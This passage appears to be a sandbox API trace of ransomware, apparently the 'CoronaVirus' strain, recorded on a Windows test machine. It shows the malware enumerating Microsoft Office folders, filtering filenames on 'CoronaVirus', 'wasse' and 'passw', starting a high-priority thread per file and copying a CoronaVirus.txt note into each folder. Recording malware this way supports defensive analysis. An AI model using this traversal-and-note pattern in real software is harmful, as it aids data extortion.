	[0107.218] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.gif", _SubStr="wasse") returned 0x0
	[0107.218] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.gif", _SubStr="passw") returned 0x0
	[0107.218] SetThreadPriority (hThread=0x1198, nPriority=15) returned 1
	[0107.220] malloc (_Size=0x1000) returned 0x51f90b8
	[0107.220] _swprintf (in: param_1=0x51f90b8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.gif") returned 81
	[0107.220] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.220] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.gif", _SubStr="wasse") returned 0x0
	[0107.220] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.gif", _SubStr="passw") returned 0x0
	[0107.220] SetThreadPriority (hThread=0x119c, nPriority=15) returned 1
	[0107.221] malloc (_Size=0x1000) returned 0x51fa0c0
	[0107.222] _swprintf (in: param_1=0x51fa0c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.gif") returned 81
	[0107.222] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.222] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.gif", _SubStr="wasse") returned 0x0
	[0107.222] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.gif", _SubStr="passw") returned 0x0
	[0107.222] SetThreadPriority (hThread=0x11a0, nPriority=15) returned 1
	[0107.223] malloc (_Size=0x1000) returned 0x51fc0d0
	[0107.223] _swprintf (in: param_1=0x51fc0d0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.gif") returned 81
	[0107.223] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.223] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.gif", _SubStr="wasse") returned 0x0
	[0107.223] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.gif", _SubStr="passw") returned 0x0
	[0107.224] SetThreadPriority (hThread=0x11a4, nPriority=15) returned 1
	[0107.225] malloc (_Size=0x1000) returned 0x51fd0d8
	[0107.225] _swprintf (in: param_1=0x51fd0d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.gif") returned 81
	[0107.225] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.225] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.gif", _SubStr="wasse") returned 0x0
	[0107.225] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.gif", _SubStr="passw") returned 0x0
	[0107.225] SetThreadPriority (hThread=0x11a8, nPriority=15) returned 1
	[0107.226] malloc (_Size=0x1000) returned 0x51fe0e0
	[0107.226] _swprintf (in: param_1=0x51fe0e0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.gif") returned 81
	[0107.227] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.227] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.gif", _SubStr="wasse") returned 0x0
	[0107.227] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.gif", _SubStr="passw") returned 0x0
	[0107.227] SetThreadPriority (hThread=0x11ac, nPriority=15) returned 1
	[0107.289] malloc (_Size=0x1000) returned 0x51f5098
	[0107.289] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.gif") returned 81
	[0107.289] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.289] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.gif", _SubStr="wasse") returned 0x0
	[0107.289] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.gif", _SubStr="passw") returned 0x0
	[0107.305] SetThreadPriority (hThread=0x11c8, nPriority=15) returned 1
	[0107.315] malloc (_Size=0x1000) returned 0x51f0070
	[0107.315] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.gif") returned 81
	[0107.315] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.315] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.gif", _SubStr="wasse") returned 0x0
	[0107.315] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.gif", _SubStr="passw") returned 0x0
	[0107.316] SetThreadPriority (hThread=0x11b8, nPriority=15) returned 1
	[0107.338] malloc (_Size=0x1000) returned 0x51f80b0
	[0107.338] _swprintf (in: param_1=0x51f80b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\CoronaVirus.txt") returned 72
	[0107.338] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0107.339] malloc (_Size=0x1000) returned 0x51f90b8
	[0107.339] _swprintf (in: param_1=0x51f90b8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CoronaVirus.txt") returned 54
	[0107.339] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0107.339] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\CoronaVirus.txt" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0107.351] _alloca_probe () returned 0x4036d0
	[0107.352] malloc (_Size=0x1000) returned 0x51f5098
	[0107.352] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\CoronaVirus.txt") returned 73
	[0107.352] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0107.352] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\CoronaVirus.txt" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0107.370] _alloca_probe () returned 0x4036d0
	[0107.370] malloc (_Size=0x1000) returned 0x51fa0c0
	[0107.370] _swprintf (in: param_1=0x51fa0c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml") returned 81
	[0107.370] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.370] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml", _SubStr="wasse") returned 0x0
	[0107.370] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml", _SubStr="passw") returned 0x0
	[0107.371] SetThreadPriority (hThread=0x1168, nPriority=15) returned 1
	[0107.375] malloc (_Size=0x1000) returned 0x51f3088
	[0107.375] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml") returned 85
	[0107.375] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.375] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml", _SubStr="wasse") returned 0x0
	[0107.377] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml", _SubStr="passw") returned 0x0
	[0107.378] SetThreadPriority (hThread=0x7d0, nPriority=15) returned 1
	[0107.382] malloc (_Size=0x1000) returned 0x51f60a0
	[0107.382] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml") returned 82
	[0107.382] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.382] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml", _SubStr="wasse") returned 0x0
	[0107.382] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml", _SubStr="passw") returned 0x0
	[0107.383] SetThreadPriority (hThread=0x1180, nPriority=15) returned 1
	[0107.387] malloc (_Size=0x1000) returned 0x51fb0c8
	[0107.387] _swprintf (in: param_1=0x51fb0c8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml") returned 84
	[0107.387] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.387] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml", _SubStr="wasse") returned 0x0
	[0107.387] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml", _SubStr="passw") returned 0x0
	[0107.388] SetThreadPriority (hThread=0x11c0, nPriority=15) returned 1
	[0107.389] malloc (_Size=0x1000) returned 0x52010f8
	[0107.389] _swprintf (in: param_1=0x52010f8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml") returned 79
	[0107.389] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.389] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml", _SubStr="wasse") returned 0x0
	[0107.389] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml", _SubStr="passw") returned 0x0
	[0107.390] SetThreadPriority (hThread=0x11bc, nPriority=15) returned 1
	[0107.391] malloc (_Size=0x1000) returned 0x5202100
	[0107.391] _swprintf (in: param_1=0x5202100, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\CoronaVirus.txt") returned 86
	[0107.391] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0107.391] malloc (_Size=0x1000) returned 0x51fc0d0
	[0107.391] _swprintf (in: param_1=0x51fc0d0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml") returned 84
	[0107.391] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.391] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml", _SubStr="wasse") returned 0x0
	[0107.391] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml", _SubStr="passw") returned 0x0
	[0107.392] SetThreadPriority (hThread=0x118c, nPriority=15) returned 1
	[0107.393] malloc (_Size=0x1000) returned 0x51ff0e8
	[0107.393] _swprintf (in: param_1=0x51ff0e8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml") returned 87
	[0107.393] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.393] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml", _SubStr="wasse") returned 0x0
	[0107.393] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml", _SubStr="passw") returned 0x0
	[0107.393] SetThreadPriority (hThread=0x11cc, nPriority=15) returned 1
	[0107.394] malloc (_Size=0x1000) returned 0x5204110
	[0107.394] _swprintf (in: param_1=0x5204110, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml") returned 80
	[0107.394] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.394] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml", _SubStr="wasse") returned 0x0
	[0107.395] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml", _SubStr="passw") returned 0x0
	[0107.395] SetThreadPriority (hThread=0x11d0, nPriority=15) returned 1
	[0107.396] malloc (_Size=0x1000) returned 0x52000f0
	[0107.396] _swprintf (in: param_1=0x52000f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml") returned 82
	[0107.396] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.396] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml", _SubStr="wasse") returned 0x0
	[0107.396] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml", _SubStr="passw") returned 0x0
	[0107.397] SetThreadPriority (hThread=0x11d4, nPriority=15) returned 1
	[0107.398] malloc (_Size=0x1000) returned 0x51fd0d8
	[0107.398] _swprintf (in: param_1=0x51fd0d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml") returned 81
	[0107.398] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.398] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml", _SubStr="wasse") returned 0x0
	[0107.398] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml", _SubStr="passw") returned 0x0
	[0107.416] SetThreadPriority (hThread=0x11f4, nPriority=15) returned 1
	[0107.418] malloc (_Size=0x1000) returned 0x5205118
	[0107.418] _swprintf (in: param_1=0x5205118, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml") returned 93
	[0107.418] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.418] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml", _SubStr="wasse") returned 0x0
	[0107.418] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml", _SubStr="passw") returned 0x0
	[0107.419] SetThreadPriority (hThread=0x11f8, nPriority=15) returned 1
	[0107.420] malloc (_Size=0x1000) returned 0x51fe0e0
	[0107.420] _swprintf (in: param_1=0x51fe0e0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml") returned 85
	[0107.420] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.420] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml", _SubStr="wasse") returned 0x0
	[0107.420] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml", _SubStr="passw") returned 0x0
	[0107.421] SetThreadPriority (hThread=0x11fc, nPriority=15) returned 1
	[0107.422] malloc (_Size=0x1000) returned 0x520d158
	[0107.422] _swprintf (in: param_1=0x520d158, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml") returned 81
	[0107.422] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.422] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml", _SubStr="wasse") returned 0x0
	[0107.422] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml", _SubStr="passw") returned 0x0
	[0107.422] SetThreadPriority (hThread=0x1200, nPriority=15) returned 1
	[0107.424] malloc (_Size=0x1000) returned 0x5206120
	[0107.424] _swprintf (in: param_1=0x5206120, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml") returned 80
	[0107.424] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.424] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml", _SubStr="wasse") returned 0x0
	[0107.424] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml", _SubStr="passw") returned 0x0
	[0107.424] SetThreadPriority (hThread=0x1204, nPriority=15) returned 1
	[0107.425] malloc (_Size=0x1000) returned 0x520e160
	[0107.425] _swprintf (in: param_1=0x520e160, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml") returned 85
	[0107.425] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.425] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml", _SubStr="wasse") returned 0x0
	[0107.425] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml", _SubStr="passw") returned 0x0
	[0107.426] SetThreadPriority (hThread=0x1208, nPriority=15) returned 1
	[0107.427] malloc (_Size=0x1000) returned 0x520a140
	[0107.427] _swprintf (in: param_1=0x520a140, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml") returned 85
	[0107.427] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.427] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml", _SubStr="wasse") returned 0x0
	[0107.427] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml", _SubStr="passw") returned 0x0
	[0107.428] SetThreadPriority (hThread=0x120c, nPriority=15) returned 1
	[0107.429] malloc (_Size=0x1000) returned 0x5207128
	[0107.429] _swprintf (in: param_1=0x5207128, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml") returned 78
	[0107.429] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.429] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml", _SubStr="wasse") returned 0x0
	[0107.429] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml", _SubStr="passw") returned 0x0
	[0107.429] SetThreadPriority (hThread=0x1210, nPriority=15) returned 1
	[0107.431] malloc (_Size=0x1000) returned 0x520c150
	[0107.431] _swprintf (in: param_1=0x520c150, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml") returned 85
	[0107.431] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.431] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml", _SubStr="wasse") returned 0x0
	[0107.431] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml", _SubStr="passw") returned 0x0
	[0107.431] SetThreadPriority (hThread=0x1214, nPriority=15) returned 1
	[0107.432] malloc (_Size=0x1000) returned 0x5209138
	[0107.433] _swprintf (in: param_1=0x5209138, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml") returned 84
	[0107.433] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.433] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml", _SubStr="wasse") returned 0x0
	[0107.433] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml", _SubStr="passw") returned 0x0
	[0107.433] SetThreadPriority (hThread=0x1218, nPriority=15) returned 1
	[0107.434] malloc (_Size=0x1000) returned 0x5208130
	[0107.434] _swprintf (in: param_1=0x5208130, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml") returned 81
	[0107.434] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.434] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml", _SubStr="wasse") returned 0x0
	[0107.434] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml", _SubStr="passw") returned 0x0
	[0107.435] SetThreadPriority (hThread=0x121c, nPriority=15) returned 1
	[0107.436] malloc (_Size=0x1000) returned 0x520b148
	[0107.436] _swprintf (in: param_1=0x520b148, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml") returned 88
	[0107.436] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.436] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml", _SubStr="wasse") returned 0x0
	[0107.436] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml", _SubStr="passw") returned 0x0
	[0107.437] SetThreadPriority (hThread=0x1220, nPriority=15) returned 1
	[0107.438] malloc (_Size=0x1000) returned 0x2fe48f8
	[0107.438] _swprintf (in: param_1=0x2fe48f8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml") returned 81
	[0107.438] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.438] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml", _SubStr="wasse") returned 0x0
	[0107.438] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml", _SubStr="passw") returned 0x0
	[0107.438] SetThreadPriority (hThread=0x1224, nPriority=15) returned 1
	[0107.604] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\CoronaVirus.txt" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0107.608] _alloca_probe () returned 0x4036d0
	[0107.608] malloc (_Size=0x1000) returned 0x51f3088
	[0107.608] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\CoronaVirus.txt") returned 87
	[0107.608] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0107.608] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\CoronaVirus.txt" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0107.613] _alloca_probe () returned 0x4036d0
	[0107.619] malloc (_Size=0x1000) returned 0x51f60a0
	[0107.619] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml") returned 91
	[0107.619] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml", _SubStr="CoronaVirus") returned 0x0
	[0107.619] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml", _SubStr="wasse") returned 0x0
	[0107.619] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml", _SubStr="passw") returned 0x0
	[0107.622] SetThreadPriority (hThread=0x1190, nPriority=15) returned 1
	[0107.624] malloc (_Size=0x1000) returned 0x51f0070
	[0107.626] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml") returned 95
